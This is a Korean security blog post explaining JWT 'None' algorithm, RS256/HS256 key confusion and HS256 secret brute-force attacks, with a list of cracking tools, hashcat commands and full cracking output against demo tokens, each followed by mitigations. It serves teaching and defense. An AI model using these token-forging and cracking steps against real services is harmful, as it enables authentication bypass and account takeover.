개요

이번 장에서는 JWT를 이용하여 사용자 인증을 우회하거나 변조할 수 있는 취약점에 대해서 확인해보자.

공격 기법은 크게 3가지로 분류되며, 1)None 알고리즘 공격, 2)Key Confusion 공격, 3)Brute Force 공격이 있다.

 

JWT None Algorithm Attack

JWT 헤더 부분의 Algorithm을 None으로 변조하여 인증을 우회하는 공격기법이다.

 

JWT는 헤더의 alg로 서명 알고리즘을 지정하여 서명을 통해 데이터를 검증하며, 서명 알고리즘 목록은 다음과 같다.

None HS256 HS384 HS512 RS256 RS384 RS512
ES256 ES384 ES512 PS256 PS384 PS512  

 

일부 JWT 라이브러리에서는 alg 값에 None을 지정할 경우, 서명 검증 절차가 생략되기 때문에 인증 우회가 가능하다.

아래 JWT는 HS256 서명 알고리즘으로 헤더와 페이로드, Secret Key를 결합하여 서명을 생성하는 것을 확인할 수 있다.

 

만약 웹 서버에서 사용중인 JWT 라이브러리에서 None 알고리즘이 허용되어 있는 경우 공격자는 JWT 토큰의 헤더를 None으로 변경하고 빈 서명을 제공하여 JWT를 임의로 생성하거나 변조할 수 있다.

 

웹 서버에서 사용하는 JWT 구조를 파악한 뒤 JWT 페이로드에 담기는 데이터를 변조하여 인증 우회가 가능하다.

직접 Base64 URL-safe를 활용하여 JWT를 조작해도 되며, Burp Suite에서 제공하는 Extender를 이용할 수도 있다.

 

None 알고리즘 공격의 대응방안은 JWT.io에서 권장하는 라이브러리를 사용하거나, None이 아닌 특정 서명 알고리즘만을 허용하여  서명 검증 절차를 우회할 수 없도록 한다.

 

JWT RS256 to HS256 Key Confusion

JWT를 사용하는 웹 서버의 토큰 검증 절차에서 HS, RS 알고리즘을 모두 지원하는 경우, 공격자가 RSA Public Key를 이용하여 HMAC 서명을 생성할 수 있는 공격기법이다.

 

-HMAC: 서명/검증 키가 동일 (대칭키)

-RSA   : 개인키/공개키가 각각 서명/검증용 키 (비대칭키)

 

RSA 암호화 알고리즘을 사용하는 웹 서버에서 클라이언트로 Publick Key가 전달되는 경우, 해당 Public 키를 HS 서명 알고리즘의 Secret Key로 활용하여 HS 알고리즘의 JWT를 생성하는 방식으로 인증 절차를 우회할 수 있다.

 

Key Confusion 공격의 대응방안은 특정 서명 알고리즘만을 허용하여 키를 혼합하는 공격을 사전 차단한다.

 

JWT HS256 Bruteforce Attack

HMAC의 Secret Key 무작위 대입 공격 기법이다.

HMAC의 서명/검증 키는 대칭 키이기 때문에 해당 키만 알게된다면 JWT를 얼마든지 생성하거나 변조할 수 있다.

 

JWT를 크랙할 수 있는 공개된 도구들이 많이 존재한다.

- https://github.com/AresS31/jwtcat

- https://github.com/lmammino/jwt-cracker

- https://github.com/brendan-rius/c-jwt-cracker

- https://github.com/Sjord/jwtcrack/blob/master/jwt2john.py

 

Secret Key를 찾아내는 방법은 여타 크랙과 동일하게 게싱/사전 대입/무작위 대입 공격을 활용할 수 있다.

여기에서는 가장 널리 알려진 크랙도구 "Hashcat"을 이용한 JWT 크랙 방법을 확인해보자.

 

먼저 아래 Github 주소에서 최신 hashcat을 설치한다.

https://github.com/hashcat/hashcat/releases

 

Releases · hashcat/hashcat

World's fastest and most advanced password recovery utility - hashcat/hashcat

github.com

 

hashcat이 설치된 경로에서 cmd 창을 열어서 hashcat 명령어를 사용해주면 된다.

도움말은 >hashcat --help 옵션으로 볼 수 있다.

 

1. JWT 사전 대입 공격

명령어 예시는 다음과 같다.

hashcat -a 0 -m 16500 [JWT] dict.txt 
// JWT Secret Key를 dict.txt에 있는 단어로 사전 대입 공격

 

공격 실습을 하기 위해 jwt.io에서 secret key가 "44444"인 JWT 토큰을 생성한다.

 

dict.txt에는 "11111", "22222", "33333", "44444", "55555"를 저장한다.

 

사전 대입 공격 명령어는 다음과 같다.

hashcat -a 0 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlNJT04iLCJpYXQiOjE1MTYyMzkwMjJ9.2YyvtcBqyjoaxriiYG0NCxADcInN8ZUkgQ-cyMLK6D8 dict.txt

 

명령어 실행 결과이다. 5개밖에 안되는 사전대입 공격을 Geforce RTX 3070 Ti로 돌리는 플렉스를 보여준다.

dict.txt에 존재하는 사전을 secret key에 대입하여 5번의 시도에서 key 값:"44444"를 크랙하였다. 

C:\Users\SION\Desktop\hashcat-6.2.5>hashcat -a 0 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlNJT04iLCJpYXQiOjE1MTYyMzkwMjJ9.2YyvtcBqyjoaxriiYG0NCxADcInN8ZUkgQ-cyMLK6D8 dict.txt
hashcat (v6.2.5) starting

* Device #1: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
* Device #2: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
CUDA API (CUDA 11.7)
====================
* Device #1: NVIDIA GeForce RTX 3070 Ti, 7119/8191 MB, 48MCU

OpenCL API (OpenCL 3.0 CUDA 11.7.99) - Platform #1 [NVIDIA Corporation]
=======================================================================
* Device #2: NVIDIA GeForce RTX 3070 Ti, skipped

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 843 MB

Dictionary cache built:
* Filename..: dict.txt
* Passwords.: 5
* Bytes.....: 34
* Keyspace..: 5
* Runtime...: 0 secs

The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlNJT04iLCJpYXQiOjE1MTYyMzkwMjJ9.2YyvtcBqyjoaxriiYG0NCxADcInN8ZUkgQ-cyMLK6D8:44444

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 16500 (JWT (JSON Web Token))
Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...MLK6D8
Time.Started.....: Wed Aug 31 23:52:45 2022 (1 sec)
Time.Estimated...: Wed Aug 31 23:52:46 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (dict.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    15110 H/s (0.06ms) @ Accel:1024 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 5/5 (100.00%)
Rejected.........: 0/5 (0.00%)
Restore.Point....: 0/5 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 11111 -> 55555
Hardware.Mon.#1..: Temp: 35c Fan:  0% Util: 26% Core:1740MHz Mem:8475MHz Bus:16

Started: Wed Aug 31 23:52:38 2022
Stopped: Wed Aug 31 23:52:46 2022

 

2. JWT 무작위 대입 공격

명령어 예시는 다음과 같다.

hashcat -a 3 -m 16500 [JWT] -i --increment-min=5 --increment-max=8
// JWT Secret Key를 5~8자리 값으로 무작위 대입 공격

 

jwt.io에서 secret key를 문자+숫자 8자리 조합으로 생성한 후, hashcat으로 무작위 대입 공격을 수행한다.

hashcat -a 3 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlNJT04iLCJpYXQiOjE1MTYyMzkwMjJ9.w3ZCkqWWqCCcPBkOod6-Vn7EK-mgw30WndV1S01qesg -i --increment-min=5 --increment-max=8

 

JWT 무작위 대입 공격 수행 결과 secret key는 "mokpo123"으로 도출된다.

C:\Users\SION\Desktop\hashcat-6.2.5>hashcat -a 3 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlNJT04iLCJpYXQiOjE1MTYyMzkwMjJ9.w3ZCkqWWqCCcPBkOod6-Vn7EK-mgw30WndV1S01qesg -i --increment-min=5 --increment-max=8
hashcat (v6.2.5) starting

* Device #1: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
* Device #2: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
CUDA API (CUDA 11.7)
====================
* Device #1: NVIDIA GeForce RTX 3070 Ti, 7119/8191 MB, 48MCU

OpenCL API (OpenCL 3.0 CUDA 11.7.99) - Platform #1 [NVIDIA Corporation]
=======================================================================
* Device #2: NVIDIA GeForce RTX 3070 Ti, skipped

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
* Brute-Force

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 1475 MB

Approaching final keyspace - workload adjusted.

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 16500 (JWT (JSON Web Token))
Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...01qesg
Time.Started.....: Thu Sep 01 00:02:04 2022 (1 sec)
Time.Estimated...: Thu Sep 01 00:02:05 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?1?2?2?2?2 [5]
Guess.Charset....: -1 ?l?d?u, -2 ?l?d, -3 ?l?d*!$@_, -4 Undefined
Guess.Queue......: 1/4 (25.00%)
Speed.#1.........:   749.9 MH/s (5.37ms) @ Accel:64 Loops:62 Thr:32 Vec:1
Recovered........: 0/1 (0.00%) Digests
Progress.........: 104136192/104136192 (100.00%)
Rejected.........: 0/104136192 (0.00%)
Restore.Point....: 1679616/1679616 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-62 Iteration:0-62
Candidate.Engine.: Device Generator
Candidates.#1....: sp0qx -> Xqxvq
Hardware.Mon.#1..: Temp: 41c Fan:  0% Util: 95% Core:1850MHz Mem:9225MHz Bus:16

Approaching final keyspace - workload adjusted.

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 16500 (JWT (JSON Web Token))
Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...01qesg
Time.Started.....: Thu Sep 01 00:02:05 2022 (4 secs)
Time.Estimated...: Thu Sep 01 00:02:09 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?1?2?2?2?2?2 [6]
Guess.Charset....: -1 ?l?d?u, -2 ?l?d, -3 ?l?d*!$@_, -4 Undefined
Guess.Queue......: 2/4 (50.00%)
Speed.#1.........:   848.1 MH/s (6.42ms) @ Accel:2 Loops:128 Thr:512 Vec:1
Recovered........: 0/1 (0.00%) Digests
Progress.........: 3748902912/3748902912 (100.00%)
Rejected.........: 0/3748902912 (0.00%)
Restore.Point....: 1679616/1679616 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:2176-2232 Iteration:0-128
Candidate.Engine.: Device Generator
Candidates.#1....: 0qc2xq -> Xqqfqx
Hardware.Mon.#1..: Temp: 47c Fan:  0% Util: 98% Core:1949MHz Mem:9242MHz Bus:16

Cracking performance lower than expected?

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Append -S to the commandline.
  This has a drastic speed impact but can be better for specific attacks.
  Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit =>

Session..........: hashcat
Status...........: Running
Hash.Mode........: 16500 (JWT (JSON Web Token))
Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...01qesg
Time.Started.....: Thu Sep 01 00:02:10 2022 (44 secs)
Time.Estimated...: Thu Sep 01 00:04:45 2022 (1 min, 51 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?1?2?2?2?2?2?2 [7]
Guess.Charset....: -1 ?l?d?u, -2 ?l?d, -3 ?l?d*!$@_, -4 Undefined
Guess.Queue......: 3/4 (75.00%)
Speed.#1.........:   865.3 MH/s (7.18ms) @ Accel:2 Loops:128 Thr:512 Vec:1
Recovered........: 0/1 (0.00%) Digests
Progress.........: 38370017280/134960504832 (28.43%)
Rejected.........: 0/38370017280 (0.00%)
Restore.Point....: 442368/1679616 (26.34%)
Restore.Sub.#1...: Salt:0 Amplifier:57472-57600 Iteration:0-128
Candidate.Engine.: Device Generator
Candidates.#1....: U7he2c1 -> mxgkufy
Hardware.Mon.#1..: Temp: 56c Fan: 53% Util: 98% Core:1955MHz Mem:9242MHz Bus:16

Approaching final keyspace - workload adjusted.

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 16500 (JWT (JSON Web Token))
Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...01qesg
Time.Started.....: Thu Sep 01 00:02:10 2022 (2 mins, 38 secs)
Time.Estimated...: Thu Sep 01 00:04:48 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?1?2?2?2?2?2?2 [7]
Guess.Charset....: -1 ?l?d?u, -2 ?l?d, -3 ?l?d*!$@_, -4 Undefined
Guess.Queue......: 3/4 (75.00%)
Speed.#1.........:   707.4 MH/s (3.56ms) @ Accel:2 Loops:128 Thr:512 Vec:1
Recovered........: 0/1 (0.00%) Digests
Progress.........: 134960504832/134960504832 (100.00%)
Rejected.........: 0/134960504832 (0.00%)
Restore.Point....: 1679616/1679616 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:80256-80352 Iteration:0-128
Candidate.Engine.: Device Generator
Candidates.#1....: 8z7d2uq -> Xqxqxqg
Hardware.Mon.#1..: Temp: 55c Fan: 61% Util: 96% Core:1949MHz Mem:9242MHz Bus:16

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlNJT04iLCJpYXQiOjE1MTYyMzkwMjJ9.w3ZCkqWWqCCcPBkOod6-Vn7EK-mgw30WndV1S01qesg:mokpo123

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 16500 (JWT (JSON Web Token))
Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...01qesg
Time.Started.....: Thu Sep 01 00:04:48 2022 (2 secs)
Time.Estimated...: Thu Sep 01 00:04:50 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?1?2?2?2?2?2?2?3 [8]
Guess.Charset....: -1 ?l?d?u, -2 ?l?d, -3 ?l?d*!$@_, -4 Undefined
Guess.Queue......: 4/4 (100.00%)
Speed.#1.........:   857.8 MH/s (7.13ms) @ Accel:2 Loops:128 Thr:512 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 1547698176/5533380698112 (0.03%)
Rejected.........: 0/1547698176 (0.00%)
Restore.Point....: 0/68864256 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:31360-31488 Iteration:0-128
Candidate.Engine.: Device Generator
Candidates.#1....: Naperane -> Ergkvier
Hardware.Mon.#1..: Temp: 60c Fan: 61% Util: 98% Core:1952MHz Mem:9242MHz Bus:16

Started: Thu Sep 01 00:02:03 2022
Stopped: Thu Sep 01 00:04:52 2022

 

Key Bruteforce 공격의 대응방안은 secret key의 복잡도 및 길이를 유추하기 어렵도록 설정하고, JWT 토큰의 유효기간을 짧게 설정하여 크랙이 성공하더라도 그 전에 JWT 토큰이 만료될 수 있도록 해야한다.

참고

https://dohunny.tistory.com/m/15

https://anpigon.tistory.com/138

https://jwt.io/

https://base64.guru/standards/base64url/encode

'기술보안 > Web' 카테고리의 다른 글

PHP Filter Chain 기법 - 1  (0) 2023.01.31
정규 표현식을 이용한 xss 조치 방안  (0) 2022.08.31
Wordpress 계정 확인 취약점  (0) 2022.08.30
Nmap NSE  (0) 2022.07.31
Shodan(feat. 포트 스캔)  (0) 2022.07.31
복사했습니다!